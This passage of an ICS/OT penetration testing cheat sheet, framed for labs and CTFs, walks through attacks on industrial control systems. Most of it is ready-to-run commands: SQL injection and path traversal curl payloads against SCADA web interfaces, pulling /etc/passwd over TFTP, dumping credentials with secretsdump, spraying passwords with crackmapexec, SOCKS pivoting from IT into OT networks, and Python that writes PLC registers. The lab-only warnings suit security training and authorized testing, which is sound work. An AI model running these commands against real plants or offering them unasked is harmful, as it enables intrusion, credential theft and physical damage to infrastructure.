"OpenSSL|libssl|libc-|uClibc"
ICS firmware is often available on vendor websites for "upgrade purposes." binwalk identifies and extracts embedded file systems (squashfs, cramfs, jffs2). Inside you'll find: Linux root filesystem, web server files, config files with hardcoded passwords, private TLS keys, and sometimes the full PLC runtime source. Hardcoded creds found in firmware work on every device using that firmware version.
🖥️ HMI / SCADA Software Attacks
common HMI vulnerabilities to test
# 1. SCADA web interface — often runs Apache/IIS
# Test for SQLi in tag history queries
curl "http://192.168.1.50/History/GetData?\
tagName=Pressure' OR '1'='1"
# 2. Path traversal in file-serving SCADA
curl "http://192.168.1.50/display/\
../../../Windows/win.ini"
# 3. Look for RDP on HMI (common: operators use it)
nmap -p 3389 192.168.1.0/24 --max-rate 5
# Default HMI RDP creds:
# Administrator:(blank), SCADA:scada, operator:operator
# 4. VNC on HMI (unencrypted, no auth sometimes)
nmap -p 5900,5901 192.168.1.0/24 --max-rate 5
vncviewer 192.168.1.50:5900
# 5. TFTP — get config from devices
tftp 192.168.1.10
get startup-config
get /etc/passwd
HMIs are essentially Windows PCs that haven't been patched since they were installed (patching HMIs is risky — it can break the SCADA software). They run old IE, outdated Java, unpatched Windows. RDP and VNC are commonly left open for remote operator access with weak/no passwords. Once on the HMI, you can control the entire plant through the SCADA GUI — no protocol knowledge needed.
Lateral Movement in OT Networks
Pivot from IT network down to OT — crossing the air gap
🌉 IT-to-OT Pivot Path
Typical Attack Path1. Phish employee → get foothold on IT workstation. 2. Credential dump with Mimikatz → find domain admin. 3. Move to Historian / Jump Server (in DMZ/Level 3). 4. From Historian, access OT network (often no firewall between them). 5. Scan for PLCs and HMIs. 6. Exploit ICS protocols directly.
check for DMZ / dual-homed systems
# On compromised Windows host — check interfaces
ipconfig /all
# Look for TWO network interfaces — common on Historians
# e.g., 10.0.0.x (IT) AND 192.168.1.x (OT)
# Scan for OT network from dual-homed host
# Route to OT subnet via compromised host
route print
# Set up SOCKS proxy for pivot
# On attack machine:
ssh -D 1080 user@compromised_host
# Now configure proxychains to use 127.0.0.1:1080
# Scan OT segment through pivot
proxychains nmap -sT -p 502,102,44818 \
192.168.1.0/24 --max-rate 5
Historian servers are the classic pivot point — they need to collect data from OT PLCs AND send reports to IT enterprise systems. So they have two NICs: one on each network. Once you compromise the Historian (which often runs Windows with RDP open), you're on the OT segment. SOCKS proxy via SSH lets you tunnel all your ICS tools through the pivot without installing anything on the target.
🔑 Credential Reuse in OT
impacket — spray creds across OT Windows hosts
# Dump creds from IT foothold
python3 secretsdump.py \
DOMAIN/user:pass@10.0.0.5
# Spray harvested creds on OT hosts
# (HMIs, Engineering Workstations run Windows)
for host in 192.168.1.50 192.168.1.51 192.168.1.52; do
python3 smbclient.py \
Administrator:Password123@$host
done
# Check for EWS (Engineering Workstations)
# These have TIA Portal, Studio 5000, etc.
# If you can RDP here, you can reprogram PLCs via GUI
crackmapexec smb 192.168.1.0/24 \
-u Administrator -p 'Password123' \
--shares
OT environments have terrible password hygiene — the same local admin password is often used on every HMI and EWS because "it's on the OT network, it's safe." Engineering Workstations (EWS) are the holy grail — they have Siemens TIA Portal or Rockwell Studio 5000 installed and can directly program connected PLCs via GUI. No protocol knowledge needed once you're on the EWS.
Impact Demonstration (Lab Only)
Proving impact without destroying infrastructure — for CTFs and lab scenarios
⛔ STRICTLY LAB / AUTHORIZED ENVIRONMENTS ONLY
The techniques in this section, if applied to real systems, can cause physical destruction of equipment, environmental disasters, and loss of human life. These exist here for understanding defense and for authorized CTF/lab use only.
📋 Impact Proof Techniques for CTFs
demonstrate full read access (impact proof)
python3 << 'EOF'
# CTF impact proof — demonstrate read of all process data
from pymodbus.client import ModbusTcpClient
import json, datetime
c = ModbusTcpClient('192.168.1.10')
c.connect()
report = {
'timestamp': str(datetime.datetime.now()),
'target': '192.168.1.10',
'coils': c.read_coils(0, 64, slave=1).bits[:64],
'input_regs': c.read_input_registers(0, 30, slave=1).registers,
'holding_regs': c.read_holding_registers(0, 30, slave=1).registers
}
print(json.dumps(report, indent=2, default=str))
c.close()
# This proves: unauthenticated full process read
# In a real plant = complete operational intelligence
EOF
For CTF/pentest reporting: dump the full process state as JSON. This proves you had complete unauthenticated read access to all process variables — sensor readings, actuator states, setpoints. In a real pentest report, this demonstrates that an adversary could learn the complete operational state of the facility without any credentials.
demonstrate write capability (controlled lab test)
python3 -c "
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('192.168.1.10')
c.connect()
# Read original value
orig = c.read_holding_registers(0, 1, slave=1).registers[0]
print(f'Original value: {orig}')
# Write test value
c.write_register(0, 12345, slave=1)
verify = c.read_holding_registers(0, 1, slave=1).registers[0]
print(f'After write: {verify}') # Should be 12345
# ALWAYS restore original value after proof!
c.write_register(0, orig, slave=1)
print(f'Restored to: {orig}')
c.close()
"
The golden rule of ICS pentesting: READ → PROVE → RESTORE. Before writing, save the original value. Write your test value (pick something non-extreme: not 0, not 65535 — pick a value close to current). Verify write succeeded by reading back. Then immediately restore the original. Never leave modified values. This minimizes risk while proving write access.
📝 Pentest Report Evidence Collection
automated ICS pentest evidence script
python3 << 'EOF'
import socket, subprocess, json
from pymodbus.client import ModbusTcpClient
targets = ['192.168.1.10', '192.168.1.20']
evidence = []
for ip in targets:
result = {'ip': ip, 'findings': []}
# 1. Port scan evidence
for port in [502, 102, 44818, 20000]:
try:
s = socket.socket()
s.settimeout(2)
if s.connect_ex((ip, port)) == 0:
result['findings'].append(
f'OPEN PORT {port} — {
{502:"Modbus",102:"S7",
44818:"EtherNet/IP",
20000:"DNP3"}[port]}')
s.close()
except: pass
# 2. Modbus unauthenticated access proof
try:
c = ModbusTcpClient(ip)
c.connect()
r = c.read_holding_registers(0, 5, slave=1)
if r and not r.isError():
result['findings'].append(
f'UNAUTHENTICATED MODBUS READ: {r.registers}')
c.close()
except: pass
evidence.append(result)
print(json.dumps(evidence, indent=2))
EOF
Automated evidence collection for pentest reports. Combines port discovery with protocol-level proof of access. Output is structured JSON — easy to include in reports. The key finding to highlight: unauthenticated protocol access. This maps to MITRE ATT&CK for ICS: T0846 (Remote System Discovery), T0843 (Program Download), T0836 (Modify Parameter).
ICS/OT Tools Glossary
Complete toolbox — what each tool does and when to use it
🔧 Complete Tool Reference
| TOOL | PROTOCOL | PURPOSE |
|---|---|---|
| nmap + NSE | All | Port scan, fingerprinting. Scripts: modbus-discover, s7-info, enip-info, bacnet-info |
| Metasploit | All | ICS auxiliary modules for Modbus, S7, EtherNet/IP, DNP3. Also post-exploitation on HMIs. |
| pymodbus | Modbus | Python Modbus TCP/RTU client. Read/write coils, registers. Best for scripting. |
| mbtget | Modbus | CLI Modbus register reader. Quickest way to dump registers from command line. |
| python-snap7 | S7comm | Python client for Siemens S7 PLCs. Read/write DBs, inputs, outputs. CPU control. |
| cpppo | EtherNet/IP | Python EtherNet/IP / CIP library. Read/write Allen-Bradley tags by name. |
| opcua | OPC-UA | Python OPC-UA client. Browse and read OPC server node trees. Anonymous access testing. |
| scapy | Any | Raw packet crafting. Build custom Modbus, DNP3, S7 packets. MiTM packet manipulation. |
| Wireshark | All | Packet capture + ICS protocol dissectors (Modbus, DNP3, S7, EtherNet/IP built-in). |
| Zeek/Bro | All | Passive ICS traffic analysis. Generates structured logs per protocol. Best for passive recon. |
| PLCScan | Multi | Dedicated ICS host scanner. Tries multiple protocols simultaneously. Python-based. |
| Redpoint (NSE) | BACnet, DNP3 | Digital Bond's NSE scripts for nmap. Adds BACnet, HART, DNP3, Crimson3 scanning. |
| ISF (ICS Security Framework) | Multi | Metasploit-like framework specifically for ICS. Has more ICS modules. Python. |
| GrassMarlin | All | CISA-released passive ICS network mapping tool. Visualizes OT network topology. |
| binwalk | — | Firmware analysis and extraction. Find embedded files, hardcoded creds, keys. |
| arpspoof / ettercap | — | ARP spoofing for MiTM between SCADA and PLC. Position for traffic interception. |
| tcpreplay | — | Replay captured PCAPs. Replay legitimate command captures to re-trigger actions. |
| Shodan CLI | — | Search internet-exposed ICS devices. Essential for external recon phase. |
| CrackMapExec | SMB/RDP | Spray credentials across Windows HMIs and EWS. Find reused passwords. |
| impacket | SMB/DCOM | SMB/RPC exploitation on Windows HMIs. secretsdump for credential harvesting. |
ICS Lab Engagement Checklist
Systematic approach — don't miss anything in CTF/lab scenarios
Phase 1 — Passive Recon
□ Capture traffic passively (tcpdump/Zeek)
Before touching anything, listen. See what protocols are naturally flowing. Note source/dest IPs, protocol types, polling intervals.
□ Identify active ICS protocols from captures
Filter: port 502 (Modbus), 102 (S7), 44818 (EtherNet/IP), 20000 (DNP3), 47808 (BACnet)
□ Map SCADA↔PLC communication pairs
Which IP is the master (SCADA) vs outstation (PLC/RTU)?
□ Shodan for external exposure
Is anything internet-facing? Check Shodan for target IP range / organization.
Phase 2 — Active Discovery
□ Slow nmap scan (--max-rate 10) for ICS ports only
Ports: 102, 502, 2222, 4840, 20000, 44818, 47808, 2404, 5450
□ Run ICS NSE scripts on discovered hosts
modbus-discover, s7-info, enip-info, bacnet-info
□ Check for web interfaces (80, 443, 8080, 8443)
Try default credentials on any web UI found
□ Check RDP (3389) and VNC (5900) on Windows hosts
HMIs often have these open with weak/no credentials
Phase 3 — Enumeration
□ Read all Modbus data areas (coils, registers)
FC 1-4 read, FC 43 device ID. Note values — understand the process.
□ S7: get_cpu_info(), enumerate DBs 1-100
Note CPU state, firmware version, project name (ASName)
□ EtherNet/IP: browse CIP tag list
Get tag names — required for read/write operations
□ OPC-UA: try anonymous connection, browse nodes
Map the full tag hierarchy
Phase 4 — Exploitation
□ Attempt unauthenticated write (Modbus/S7/EIP)
Read original → write test value → verify → RESTORE immediately
□ Attempt PLC CPU control (S7 stop/start)
Only if lab authorizes this. Document CPU state before/after.
□ MiTM positioning (if ARP spoofing in scope)
Position between SCADA and PLC. Capture command stream.
□ Credential attacks on Windows HMI/EWS
Default creds, spray harvested creds, check for unpatched vulns
🎓 MITRE ATT&CK for ICS — Technique Quick Reference
| TECHNIQUE ID | NAME | HOW YOU DO IT |
|---|---|---|
| T0846 | Remote System Discovery | nmap, PLCScan, Shodan — find ICS hosts |
| T0888 | Remote System Information Discovery | FC43 device ID, s7-info, enip-info |
| T0843 | Program Download | S7 program upload via snap7 / MSF |
| T0836 | Modify Parameter | Write Modbus holding registers, S7 DB write |
| T0855 | Unauthorized Command Message | Write Modbus coils, CIP tag write, DNP3 operate |
| T0830 | Man in the Middle | ARP spoof + traffic intercept between SCADA/PLC |
| T0814 | Denial of Control | Modbus TCP connection flood, S7 CPU stop |
| T0832 | Manipulation of View | Intercept + modify Modbus responses to HMI |
| T0800 | Activate Firmware Update Mode | Trigger firmware mode via web UI or protocol |
| T0859 | Valid Accounts | Default/harvested creds on HMI, EWS, OPC server |